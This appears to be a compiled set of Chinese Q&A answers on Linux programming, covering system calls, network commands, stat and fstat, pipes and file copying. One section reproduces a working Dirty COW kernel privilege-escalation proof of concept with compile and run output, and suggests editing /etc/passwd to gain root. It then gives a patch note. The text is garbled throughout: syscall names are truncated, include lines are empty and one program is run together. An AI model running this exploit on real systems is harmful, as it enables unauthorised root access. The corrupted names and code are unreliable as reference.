1. 怎樣查詢linux系統調用函數
以下是Linux系統調用的一個列表,包含了大部分常用系統調用和由系統調用派生出的的函數。這可能是你在互聯網上所能看到的唯一一篇中文注釋的Linux系統調用列表,即使是簡單的字母序英文列表,能做到這么完全也是很罕見的。
按照慣例,這個列表以man pages第2節,即系統調用節為藍本。按照筆者的理解,對其作了大致的分類,同時也作了一些小小的修改,刪去了幾個僅供內核使用,不允許用戶調用的系統調用,對個別本人稍覺不妥的地方作了一些小的修改,並對所有列出的系統調用附上簡要注釋。
其中有一些函數的作用完全相同,只是參數不同。(可能很多熟悉C++朋友馬上就能聯想起函數重載,但是別忘了Linux核心是用C語言寫的,所以只能取成不同的函數名)。還有一些函數已經過時,被新的更好的函數所代替了(gcc在鏈接這些函數時會發出警告),但因為兼容的原因還保留著,這些函數我會在前面標上「*」號以示區別。
一、進程式控制制:
fork 創建一個新進程
clone 按指定條件創建子進程
execve 運行可執行文件
exit 中止進程
_exit 立即中止當前進程
getdtablesize 進程所能打開的最大文件數
getpgid 獲取指定進程組標識號
setpgid 設置指定進程組標志號
getpgrp 獲取當前進程組標識號
setpgrp 設置當前進程組標志號
getpid 獲取進程標識號
getppid 獲取父進程標識號
getpriority 獲取調度優先順序
setpriority 設置調度優先順序
modify_ldt 讀寫進程的本地描述表
nanosleep 使進程睡眠指定的時間
nice 改變分時進程的優先順序
pause 掛起進程,等待信號
personality 設置進程運行域
prctl 對進程進行特定操作
ptrace 進程跟蹤
sched_get_priority_max 取得靜態優先順序的上限
sched_get_priority_min 取得靜態優先順序的下限
sched_getparam 取得進程的調度參數
sched_getscheler 取得指定進程的調度策略
sched_rr_get_interval 取得按RR演算法調度的實時進程的時間片長度
sched_setparam 設置進程的調度參數
sched_setscheler 設置指定進程的調度策略和參數
sched_yield 進程主動讓出處理器,並將自己等候調度隊列隊尾
vfork 創建一個子進程,以供執行新程序,常與execve等同時使用
wait 等待子進程終止
wait3 參見wait
waitpid 等待指定子進程終止
wait4 參見waitpid
capget 獲取進程許可權
capset 設置進程許可權
getsid 獲取會晤標識號
setsid 設置會晤標識號
二、文件系統控制
1、文件讀寫操作
fcntl 文件控制
open 打開文件
creat 創建新文件
close 關閉文件描述字
read 讀文件
write 寫文件
readv 從文件讀入數據到緩沖數組中
writev 將緩沖數組里的數據寫入文件
pread 對文件隨機讀
pwrite 對文件隨機寫
lseek 移動文件指針
_llseek 在64位地址空間里移動文件指針
p 復制已打開的文件描述字
p2 按指定條件復制文件描述字
flock 文件加/解鎖
poll I/O多路轉換
truncate 截斷文件
ftruncate 參見truncate
umask 設置文件許可權掩碼
fsync 把文件在內存中的部分寫回磁碟
2、文件系統操作
access 確定文件的可存取性
chdir 改變當前工作目錄
fchdir 參見chdir
chmod 改變文件方式
fchmod 參見chmod
chown 改變文件的屬主或用戶組
fchown 參見chown
lchown 參見chown
chroot 改變根目錄
stat 取文件狀態信息
lstat 參見stat
fstat 參見stat
statfs 取文件系統信息
fstatfs 參見statfs
readdir 讀取目錄項
getdents 讀取目錄項
mkdir 創建目錄
mknod 創建索引節點
rmdir 刪除目錄
rename 文件改名
link 創建鏈接
symlink 創建符號鏈接
unlink 刪除鏈接
readlink 讀符號鏈接的值
mount 安裝文件系統
umount 卸下文件系統
ustat 取文件系統信息
utime 改變文件的訪問修改時間
utimes 參見utime
quotactl 控制磁碟配額
三、系統控制
ioctl I/O總控制函數
_sysctl 讀/寫系統參數
acct 啟用或禁止進程記賬
getrlimit 獲取系統資源上限
setrlimit 設置系統資源上限
getrusage 獲取系統資源使用情況
uselib 選擇要使用的二進制函數庫
ioperm 設置埠I/O許可權
iopl 改變進程I/O許可權級別
outb 低級埠操作
reboot 重新啟動
swapon 打開交換文件和設備
swapoff 關閉交換文件和設備
bdflush 控制bdflush守護進程
sysfs 取核心支持的文件系統類型
sysinfo 取得系統信息
adjtimex 調整系統時鍾
alarm 設置進程的鬧鍾
getitimer 獲取計時器值
setitimer 設置計時器值
gettimeofday 取時間和時區
settimeofday 設置時間和時區
stime 設置系統日期和時間
time 取得系統時間
times 取進程運行時間
uname 獲取當前UNIX系統的名稱、版本和主機等信息
vhangup 掛起當前終端
nfsservctl 對NFS守護進程進行控制
vm86 進入模擬8086模式
create_mole 創建可裝載的模塊項
delete_mole 刪除可裝載的模塊項
init_mole 初始化模塊
query_mole 查詢模塊信息
*get_kernel_syms 取得核心符號,已被query_mole代替
四、內存管理
brk 改變數據段空間的分配
sbrk 參見brk
mlock 內存頁面加鎖
munlock 內存頁面解鎖
mlockall 調用進程所有內存頁面加鎖
munlockall 調用進程所有內存頁面解鎖
mmap 映射虛擬內存頁
munmap 去除內存頁映射
mremap 重新映射虛擬內存地址
msync 將映射內存中的數據寫回磁碟
mprotect 設置內存映像保護
getpagesize 獲取頁面大小
sync 將內存緩沖區數據寫回硬碟
cacheflush 將指定緩沖區中的內容寫回磁碟
五、網路管理
getdomainname 取域名
setdomainname 設置域名
gethostid 獲取主機標識號
sethostid 設置主機標識號
gethostname 獲取本主機名稱
sethostname 設置主機名稱
六、socket控制
socketcall socket系統調用
socket 建立socket
bind 綁定socket到埠
connect 連接遠程主機
accept 響應socket連接請求
send 通過socket發送信息
sendto 發送UDP信息
sendmsg 參見send
recv 通過socket接收信息
recvfrom 接收UDP信息
recvmsg 參見recv
listen 監聽socket埠
select 對多路同步I/O進行輪詢
shutdown 關閉socket上的連接
getsockname 取得本地socket名字
getpeername 獲取通信對方的socket名字
getsockopt 取埠設置
setsockopt 設置埠參數
sendfile 在文件或埠間傳輸數據
socketpair 創建一對已聯接的無名socket
七、用戶管理
getuid 獲取用戶標識號
setuid 設置用戶標志號
getgid 獲取組標識號
setgid 設置組標志號
getegid 獲取有效組標識號
setegid 設置有效組標識號
geteuid 獲取有效用戶標識號
seteuid 設置有效用戶標識號
setregid 分別設置真實和有效的的組標識號
setreuid 分別設置真實和有效的用戶標識號
getresgid 分別獲取真實的,有效的和保存過的組標識號
setresgid 分別設置真實的,有效的和保存過的組標識號
getresuid 分別獲取真實的,有效的和保存過的用戶標識號
setresuid 分別設置真實的,有效的和保存過的用戶標識號
setfsgid 設置文件系統檢查時使用的組標識號
setfsuid 設置文件系統檢查時使用的用戶標識號
getgroups 獲取後補組標志清單
setgroups 設置後補組標志清單
八、進程間通信
ipc 進程間通信總控制調用
1、信號
sigaction 設置對指定信號的處理方法
sigprocmask 根據參數對信號集中的信號執行阻塞/解除阻塞等操作
sigpending 為指定的被阻塞信號設置隊列
sigsuspend 掛起進程等待特定信號
signal 參見signal
kill 向進程或進程組發信號
*sigblock 向被阻塞信號掩碼中添加信號,已被sigprocmask代替
*siggetmask 取得現有阻塞信號掩碼,已被sigprocmask代替
*sigsetmask 用給定信號掩碼替換現有阻塞信號掩碼,已被sigprocmask代替
*sigmask 將給定的信號轉化為掩碼,已被sigprocmask代替
*sigpause 作用同sigsuspend,已被sigsuspend代替
sigvec 為兼容BSD而設的信號處理函數,作用類似sigaction
ssetmask ANSI C的信號處理函數,作用類似sigaction
2、消息
msgctl 消息控制操作
msgget 獲取消息隊列
msgsnd 發消息
msgrcv 取消息
3、管道
pipe 創建管道
4、信號量
semctl 信號量控制
semget 獲取一組信號量
semop 信號量操作
5、共享內存
shmctl 控制共享內存
shmget 獲取共享內存
shmat 連接共享內存
shmdt 拆卸共享內存
2. 關於Linux下必須知道的11個網路命令有哪些
以下羅列一些非常有用的網路命令(不止11個)
連通性
• ping <host>:發送 ICMP echo 消息(一個包)到主機。這可能會不停地發送直到你按下 Control-C,Ping 的通意味著一個包從你的機器通過 ICMP 發送出去,並在 IP 層回顯。Ping 告訴你另一個主機是否在運行。
• telnet <host> [port]:與主機在指定的埠通信。默認的 telnet 埠是 23。按 Control-] 以退出 telnet。其它一些常用的埠是:
7 —— echo 埠
25 —— SMTP,用於發送郵件
79 —— Finger (LCTT 譯註:維基網路 - Finger protocal,不過舉例 Finger 恐怕不合時宜,倒不如試試 80?),提供該網路下其它用戶的信息。
ARP
ARP 用於將 IP 地址轉換為乙太網地址。root 用戶可以添加和刪除 ARP 記錄。當 ARP
記錄被污染或者錯誤時,刪除它們會有用。root 顯式添加的 ARP 記錄是永久的 —— 代理設置的也是。ARP
表保存在內核中,動態地被操作。ARP 記錄會被緩存,通常在 20 分鍾後失效並被刪除。
• arp -a:列印 ARP 表。
• arp -s <ip_address> <mac_address> [pub]:添加一條記錄到表中。
• arp -a -d:刪除 ARP 表中的所有記錄。
路由
• netstat -r:列印路由表。路由表保存在內核中,用於 IP 層把包路由到非本地網路。
• route add:route: 用於向路由表添加靜態(手動指定而非動態)路由路徑。所有從該 PC 到那個 IP/子網的流量都會經由指定的網關 IP。它也可以用來設置一個默認路由。
例如,在 IP/子網處使用 0.0.0.0,就可以發送所有包到特定的網關。
• routed:控制動態路由的 BSD 守護程序。開機時啟動。它運行 RIP 路由協議。只有 root 用戶可用。沒有 root 許可權你不能運行它。
• gated:gated 是另一個使用 RIP 協議的路由守護進程。它同時支持 OSPF、EGP 和 RIP 協議。只有 root 用戶可用。
• traceroute:用於跟蹤 IP 包的路由。它每次發送包時都把跳數加 1,從而使得從源地址到目的地之間的所有網關都會返回消息。
• netstat -rnf inet:顯示 IPv4 的路由表。
• sysctl net.inet.ip.forwarding=1:啟用包轉發(把主機變為路由器)。
• route add|delete [-net|-host] <destination> <gateway>:(如 route add 192.168.20.0/24 192.168.30.4)添加一條路由。
• route flush:刪除所有路由。
• route add -net 0.0.0.0 192.168.10.2:添加一條默認路由。
• routed -Pripv2 -Pno_rdisc -d [-s|-q]:運行 routed 守護進程,使用 RIPv2 協議,不啟用 ICMP 自動發現,在前台運行,供給模式或安靜模式。
• route add 224.0.0.0/4 127.0.0.1:為本地地址定義多播路由。(LCTT 譯註:原文存疑)
• rtquery -n <host>(LCTT 譯註:增加了 host 參數):查詢指定主機上的 RIP 守護進程(手動更新路由表)。
其它
• nslookup:向 DNS 伺服器查詢,將 IP 轉為名稱,或反之。例如,nslookup facebook.com 會給出 facebook.com 的 IP。
• ftp <host> [port](LCTT 譯註:原文中 water 應是筆誤):傳輸文件到指定主機。通常可以使用 登錄名 "anonymous" , 密碼 "guest" 來登錄。
• rlogin -l <host>(LCTT 譯註:添加了 host 參數):使用類似 telnet 的虛擬終端登錄到主機。
重要文件
• /etc/hosts:域名到 IP 地址的映射。
• /etc/networks:網路名稱到 IP 地址的映射。
• /etc/protocols:協議名稱到協議編號的映射。
• /etc/services:TCP/UDP 服務名稱到埠號的映射。
工具和網路性能分析
• ifconfig <interface> <address> [up]:啟動介面。
• ifconfig <interface> [down|delete]:停止介面。
• ethereal & ;:在後台打開 ethereal 而非前台。
• tcpmp -i -vvv :抓取和分析包的工具。
• netstat -w [seconds] -I [interface]:顯示網路設置和統計信息。
• udpmt -p [port] -s [bytes] target_host :發送 UDP 流量。
• udptarget -p [port]:接收 UDP 流量。
• tcpmt -p [port] -s [bytes] target_host :發送 TCP 流量。
• tcptarget -p [port]:接收 TCP 流量。
交換機
• ifconfig sl0 srcIP dstIP ifconfig sl0 srcIP dstIP:配置一個串列介面(在此前先執行 slattach -l /dev/ttyd0,此後執行 sysctl net.inet.ip.forwarding=1)
• telnet 192.168.0.254:從子網中的一台主機訪問交換機。
• sh ru 或 show running-configuration :查看當前配置。
• configure terminal :進入配置模式。
• exit :退出當前模式。(LCTT 譯註:原文存疑)
VLAN
• vlan n :創建一個 ID 為 n 的 VLAN。
• no vlan N :刪除 ID 為 n 的 VLAN。
• untagged Y :添加埠 Y 到 VLAN n。
• ifconfig vlan0 create :創建 vlan0 介面。
• ifconfig vlan0 vlan_ID vlandev em0:把 em0 加入到 vlan0 介面(LCTT 譯註:原文存疑),並設置標記為 ID。
• ifconfig vlan0 [up]:啟用虛擬介面。
• tagged Y :為當前 VLAN 的埠 Y 添加標記幀支持。
UDP/TCP
• A socklab udp :使用 UDP 協議運行 socklab。
• sock :創建一個 UDP 套接字,等效於輸入 sock udp 和 bind 。
• sendto <Socket ID> <hostname> <port #>:發送數據包。
• recvfrom <Socket ID> <byte #>:從套接字接收數據。
• socklab tcp :使用 TCP 協議運行 socklab。
• passive passive:創建一個被動模式的套接字,等效於 socklab ,sock tcp ,bind ,listen 。
• accept :接受進來的連接(可以在發起進來的連接之前或之後執行)。
• connect <hostname> <port #>:等效於 socklab ,sock tcp ,bind ,connect 。
• close :關閉連接。
• read <byte #>:從套接字中讀取 n 位元組。
• write :(例如write ciao、write #10)向套接字寫入 "ciao" 或 10 個位元組。
NAT/防火牆
• rm /etc/resolv.conf :禁止地址解析,保證你的過濾和防火牆規則正確工作。
• ipnat -f file_name :將過濾規則寫入文件。
• ipnat -l :顯示活動的規則列表。
• ipnat -C -F :重新初始化規則表。
• map em0 192.168.1.0/24 -> 195.221.227.57/32 em0:將 IP 地址映射到介面。
• map em0 192.168.1.0/24 -> 195.221.227.57/32 portmap tcp/udp 20000:50000:帶埠號的映射。
• ipf -f file_name :將過濾規則寫入文件。
• ipf -F -a :重置規則表。
• ipfstat -I :當與 -s 選項合用時列出活動的狀態條目
內容來源:http;//www.linuxprobe.com/linux-network-command.html
3. linux內核通殺提權漏洞怎麼驗證
Linux內核在處理內存寫時拷貝(Copy-on-Write)時存在條件競爭漏洞,導致可以破壞私有隻讀內存映射。一個低許可權的本地用戶能夠利用此漏洞獲取其他只讀內存映射的寫許可權,有可能進一步導致提權漏洞。漏洞危害:低許可權用戶可以利用該漏洞修改只讀內存,進而執行任意代碼獲取 root 許可權。影響范圍:該漏洞影響所有 Linux Kernel >= 2.6.22 的版本。2.6.22 是 2007 年發布的版本,也就是說這個漏洞幾乎影響 2007 以後的所有版本。漏洞測試:讀取 /proc/version 來獲取 LinuxKernel 版本:
➜ ~ cat /proc/version
Linuxversion 4.4.0-42-generic(buildd@lgw01-13) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.2) )#62-Ubuntu SMP Fri Oct 7 23:11:45 UTC 20164.4.0 版本的Kernel,看樣子是受影響的,github 上給出了如下的 POC:
#include
#include
#include
#include
#include
void *map;
int f;
structstat st;
char*name;
void*madviseThread(void *arg) {
char *str;
str = (char *)arg;
int i, c = 0;
for (i = 0; i 100000000; i++) {
c += madvise(map, 100, MADV_DONTNEED);
}
printf("madvise %d\n", c);
}
void*procselfmemThread(void *arg) {
char *str;
str = (char *)arg;
int f = open("/proc/self/mem",O_RDWR);
int i, c = 0;
for (i = 0; i 100000000; i++) {
lseek(f, map, SEEK_SET);
c += write(f, str, strlen(str));
}
printf("procselfmem %d\n", c);
}
intmain(int argc, char *argv[]) {
if (argc 3)
return 1;
pthread_t pth1, pth2;
f = open(argv[1], O_RDONLY);
fstat(f, &st);
name = argv[1];
map = mmap(NULL, st.st_size, PROT_READ,MAP_PRIVATE, f, 0);
printf("mmap %x\n", map);
pthread_create(&pth1, NULL,madviseThread, argv[1]);
pthread_create(&pth2, NULL,procselfmemThread, argv[2]);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return 0;
}這個 POC 可以利用該漏洞修改任意文件內容,看下面的測試:
➜ /tmp gcc a.c -lpthread
a.c: Infunction 『procselfmemThread』:
a.c:28:5:warning: implicit declaration of function 『lseek』[-Wimplicit-function-declaration]
lseek(f, map, SEEK_SET);
a.c:29:10:warning: implicit declaration of function 『write』[-Wimplicit-function-declaration]
c += write(f, str, strlen(str));
a.c: Infunction 『main』:
a.c:39:3:warning: implicit declaration of function 『fstat』[-Wimplicit-function-declaration]
fstat(f, &st);調用 gcc 編譯這個 payload,報了幾個 warning,但還是編譯成功了。
➜ /tmp su root -c 'echo 0000 > test'
Password:
➜ /tmp ls -al test
-rw-r--r--1 root root 5 Oct 16 23:52 test使用 root 許可權創建一個其他用戶只讀的 test 文件,許可權為 644,內容為 0000。
➜ /tmp id
uid=1000(Monster) gid=1000(monster) groups=1000(monster)
➜ /tmp ./a.out test 1111
mmap61222000
madvise 0
procselfmem400000000使用當前用戶調用編譯出的 a.out 程序把 test 文件的內容修改為 1111,經過漫長的等待以後程序終於執行完成。
➜ /tmp cat test
1111可以看到結果,test 文件的內容已經被成功修改。
這樣的話,只要修改 /etc/passwd 把當前用戶的 uid 改成 0 就可以作為 root 登錄了。
修復方案:
更新最新 Linux Kernel 源碼,並重新編譯。 各大發行版也已經更新 Kernel,也可直接升級最新版本。
4. fstat函數的使用問題 linux
umask函數為進程設置文件模式創建屏蔽字,是在進程創建一個新文件或新目錄時其作用的,fstate只是在以創建,且打開的文件獲取文件的相關信息
5. linux下,怎樣查看磁碟容量需要調用什麼系統函數
df 查看硬碟的總容量、已用容量與inode等
查看文件已用容量
df -[ikm]
-i 使用i-nodes顯示結果
-k 使用KB顯示結果
-m 使用MB顯示結果
[-abckms] [目錄名稱]
-a 列出所有文件與目錄,默認值是列出目錄的值
-b 列出的值以b輸出
-c 最後求總total
-k 列出的值 以KB輸出
-m 列出的值以mb輸出
-s 只列出最後求總的值
6. Linux下是否有文件拷貝的庫函數
不管是哪種操作系統,要實現文件拷貝,必須陷入內核,從磁碟讀取文件內容,然後存儲到另一個文件。實現文件拷貝最通常的做法是:讀取文件用系統調用read()函數,讀取到一定長度的連續的用戶層緩沖區,然後使用write()函數將緩沖區內容寫入文件。也可以用標准庫函數fread()和fwrite(),但這兩個函數最終還是通過系統調用read()和write()實現拷貝的,因此可以歸為一類(不過效率肯定沒有直接進行系統調用的高)。一個更高級的做法是使用虛擬存儲映射技術進行,這種方法將源文件以共享方式映射到虛擬存儲器中,目的文件也以共享方式映射到虛擬地址空間中,然後使用memcpy高效地將源文件內容復制到目的文件中。點擊(此處)折疊或打開#include#include#include#include#include#include#include#include#include#include#defineerror(fmt,args)\printf(fmt,##args);\printf(":%s\n",strerror(errno))inlineintcp_rw(intsrcfd,intdstfd,char*buf,intlen);inlineintcp_map(intsrcfd,intdstfd,size_tlen);intmain(intargc,char**argv){charbuf[8192];intsrcfd,dstfd;clock_tstart,end;structtmsstm,ntm;structstatfilestat;inttck;charcmdline[30];if(argc!=3)printf("usage:cmd");tck=sysconf(_SC_CLK_TCK);start=times(&stm);if((srcfd=open(argv[1],O_RDONLY))==-1){error("open%serror",argv[1]);exit(0);}if((dstfd=open(argv[2],O_RDWR|O_CREAT|O_TRUNC,0666))==-1){error("creat%serror",argv[2]);exit(0);}fstat(srcfd,&filestat);if(lseek(dstfd,filestat.st_size,SEEK_SET)==-1){error("lseekerror");exit(0);}if(write(dstfd,"",1)!=1){error("writeerror");exit(0);}cp_map(srcfd,dstfd,filestat.st_size);close(srcfd);close(dstfd);end=times(&ntm);printf("ing%sto%susingcp_map:filesize=%luMBytesUsing%fseconds\n",argv[1],argv[2],filestat.st_size>>20,(end-start)/(double)tck);sprintf(cmdline,"rm-f%s",argv[2]);system(cmdline);return0;}inlineintcp_rw(intsrcfd,intdstfd,char*buf,intlen){intnread;while((nread=read(srcfd,buf,len))>0){if(write(dstfd,buf,nread)!=nread){error("writeerror");return-1;}}if(nread==-1){error("readerror");return-1;}return0;}inlineintcp_map(intsrcfd,intdstfd,size_tlen){char*src,*dst;if((src=mmap(0,len,PROT_READ,MAP_SHARED,srcfd,0))==MAP_FAILED){error("mmapsrcerror");return-1;}if((dst=mmap(0,len,PROT_WRITE,MAP_SHARED,dstfd,0))==MAP_FAILED){error("mmapdsterror");return-1;}if(memcpy(dst,src,len)==NULL){error("memcpyerror");return-1;}munmap(src,len);munmap(dst,len);return0;}運行,拷貝一個1.1G的文件,得到如下結果[root@garden]#.//home/ker.tgz./ker.tgzing/home/ker.tgzto./ker.tgzusingcp_map:filesize=1030MBytesUsing61.900000secondsing/home/ker.tgzto./ker.tgzusingcp_rw:filesize=1030MBytesUsing34.330000seconds使用read/write的方法居然比mmap的快一倍,這是怎麼回事呢?理論上mmap系統調用只進行了一次,而且拷貝文件是直接在內核空間進行的,read/write則需要通過系統調用把內核空間的緩存復制到用戶空間,再將用戶空間緩存復制到內核空間,拷貝次數明顯多了一個呢?速度為什麼於理論預測的不一致呢?
7. linux系統中的頭文件#include &ls;sys⁄stat.h>
調用 stat(),fstat(), lstat(), 等函數時,需要包含 #include <sys/stat.h> 頭文件,它包含了要用到一些數據類型,結構類型。例如:
dev_t st_dev ID of device containing file
ino_t st_ino file serial number
mode_t st_mode mode of file (see below)
nlink_t st_nlink number of links to the file
uid_t st_uid user ID of file
gid_t st_gid group ID of file
dev_t st_rdev device ID (if file is character or block special)
off_t st_size file size in bytes (if file is a regular file)
time_t st_atime time of last access
time_t st_mtime time of last data modification
time_t st_ctime time of last status change
用法:包含頭文件:
#include <sys/types.h>
#include <sys/stat.h>
程序里,需要時可調用下列函數,下面是函數原型
int chmod(const char *, mode_t);
int fchmod(int, mode_t);
int fstat(int, struct stat *);
int lstat(const char *, struct stat *);
int mkdir(const char *, mode_t);
int mkfifo(const char *, mode_t);
int mknod(const char *, mode_t, dev_t);
int stat(const char *, struct stat *);
int main(){
具體的調用語句和程序可寫在這里
}
8. linux 如何判斷一個打開的文件描述符是否位於文件尾呢
/**
* author:[email protected]
* date :2015-01-17
* func :check if the fileDescriptor is fine.
*/
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
int main() {
int fd = -1;
fd = open("/tmp/isatty.c", O_RDONLY);
// close(fd);
if(fcntl(fd, F_GETFL))
printf("%m\n");
close(fd);
}
[cpp] view plain
/**
* version : 1.1
* date : 2015-02-05
* func : check if the fileDescriptor is fine.
*/
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
struct stat _stat;
/**
* On success, zero is returned. On error, -1 is returned, and errno is set
* appropriately.
*/
int check_fd_fine(int fd) {
struct stat _stat;
int ret = -1;
if(!fcntl(fd, F_GETFL)) {
if(!fstat(fd, &_stat)) {
if(_stat.st_nlink >= 1)
ret = 0;
else
printf("File was deleted!\n");
}
}
if(errno != 0)
perror("check_fd_fine");
return ret;
}
int main() {
int fd = -1;
fd = open("/dev/ttyUSB1", O_RDONLY);
if(fd < 0) {
perror("open file fail");
return -1;
}
// close(fd);
sleep(5);
if(!check_fd_fine(fd)) {
printf("fd okay!\n");
} else {
printf("fd bad!\n");
}
close(fd);
return 0;
}
9. Linux系統編程—管道
Linux 實現 IPC 其中的一種方式——管道
管道又分:
1、無名管道:無名管道只能用於有親緣關系的進程。
2、有名管道:有名管道用於任意兩進程間通信。
你就可以把管道理解成位於進程內核空間的「文件」。
給文件加引號,是因為它和文件確實很像,因為它也有描述符。但是它確實又不是普通的本地文件,而是一種抽象的存在。
當進程使用 pipe 函數,就可以打開位於內核中的這個特殊「文件」。同時 pipe 函數會返回兩個描述符,一個用於讀,一個用於寫。如果你使用 fstat函數來測試該描述符,可以發現此文件類型為 FIFO。
而無名管道的無名,指的就是這個虛幻的「文件」,它沒有名字。本質上,pipe 函數會在進程內核空間申請一塊內存(比如一個內存頁,一般是 4KB),然後把這塊內存當成一個先進先出(FIFO)的循環隊列來存取數據,這一切都由操作系統幫助我們實現了。
pipe 函數打開的文件描述符是通過參數(數組)傳遞出來的,而返回值表示打開成功(0)或失敗(-1)。
它的參數是一個大小為 2 的數組。此數組的第 0 個元素用來接收以讀的方式打開的描述符,而第 1 個元素用來接收以寫的方式打開的描述符。也就是說,pipefd[0] 是用於讀的,而 pipefd[1] 是用於寫的。
打開了文件描述符後,就可以使用 read(pipefd[0]) 和 write(pipefd[1]) 來讀寫數據了。
注意事項
1、這兩個分別用於讀寫的描述符必須同時打開才行,否則會出問題。
2、如果關閉讀 (close(pipefd[0])) 端保留寫端,繼續向寫端 (pipefd[1]) 端寫數據(write 函數)的進程會收到 SIGPIPE 信號。
3、如果關閉寫 (close(pipefd[1])) 端保留讀端,繼續向讀端 (pipefd[0]) 端讀數據(read 函數),read 函數會返回 0。
當在進程用 pipe 函數打開兩個描述符後,我們可以 fork 出一個子進程。這樣,子進程也會繼承這兩個描述符,而且這兩個文件描述符的引用計數會變成 2。
如果你需要父進程向子進程發送數據,那麼得把父進程的 pipefd[0] (讀端)關閉,而在子進程中把 pipefd[1] 寫端關閉,反之亦然。為什麼要這樣做?實際上是避免出錯。傳統上 pipe 管道只能用於半雙工通信(即一端只能發,不能收;而另一端只能收不能發),為了安全起見,各個進程需要把不用的那一端關閉(本質上是引用計數減 1)。
步驟一:fork 子進程
步驟二:關閉父進程讀端,關閉子進程寫端
父進程 fork 出一個子進程,通過無名管道向子進程發送字元,子進程收到數據後將字元串中的小寫字元轉換成大寫並輸出。
有名管道打破了無名管道的限制,進化出了一個實實在在的 FIFO 類型的文件。這意味著即使沒有親緣關系的進程也可以互相通信了。所以,只要不同的進程打開 FIFO 文件,往此文件讀寫數據,就可以達到通信的目的。
1、文件屬性前面標注的文件類型是 p
2、代表管道文件大小是 0
3、fifo 文件需要有讀寫兩端,否則在打開 fifo 文件時會阻塞
通過命令 mkfifo 創建
通過函數 mkfifo創建
函數返回 0 表示成功,-1 失敗。
例如:
cat 命令列印 test文件內容
接下來你的 cat 命令被阻塞住。
開啟另一個終端,執行:
然後你會看到被阻塞的 cat 又繼續執行完畢,在屏幕列印 「hello world」。如果你反過來執行上面兩個命令,會發現先執行的那個總是被阻塞。
有兩個程序,分別是發送端 send 和接收端面 recv。程序 send 從標准輸入接收字元,並發送到程序 recv,同時 recv 將接收到的字元列印到屏幕。
發送端
接收端
編譯
運行
因為 recv 端還沒打開test文件,這時候 send 是阻塞狀態的。
再開啟另一個終端:
這時候 send 端和 recv 端都在終端顯示has opend fifo
此時在 send 端輸入數據,recv 列印。
10. linux c,運行後提示:「已放棄(核心轉儲)」,代碼如下
這里寫錯了struct stat *buf = malloc (sizeof(stat));
你要申請的是結構體大小尺寸就應該是這樣malloc(sizeof(struct stat))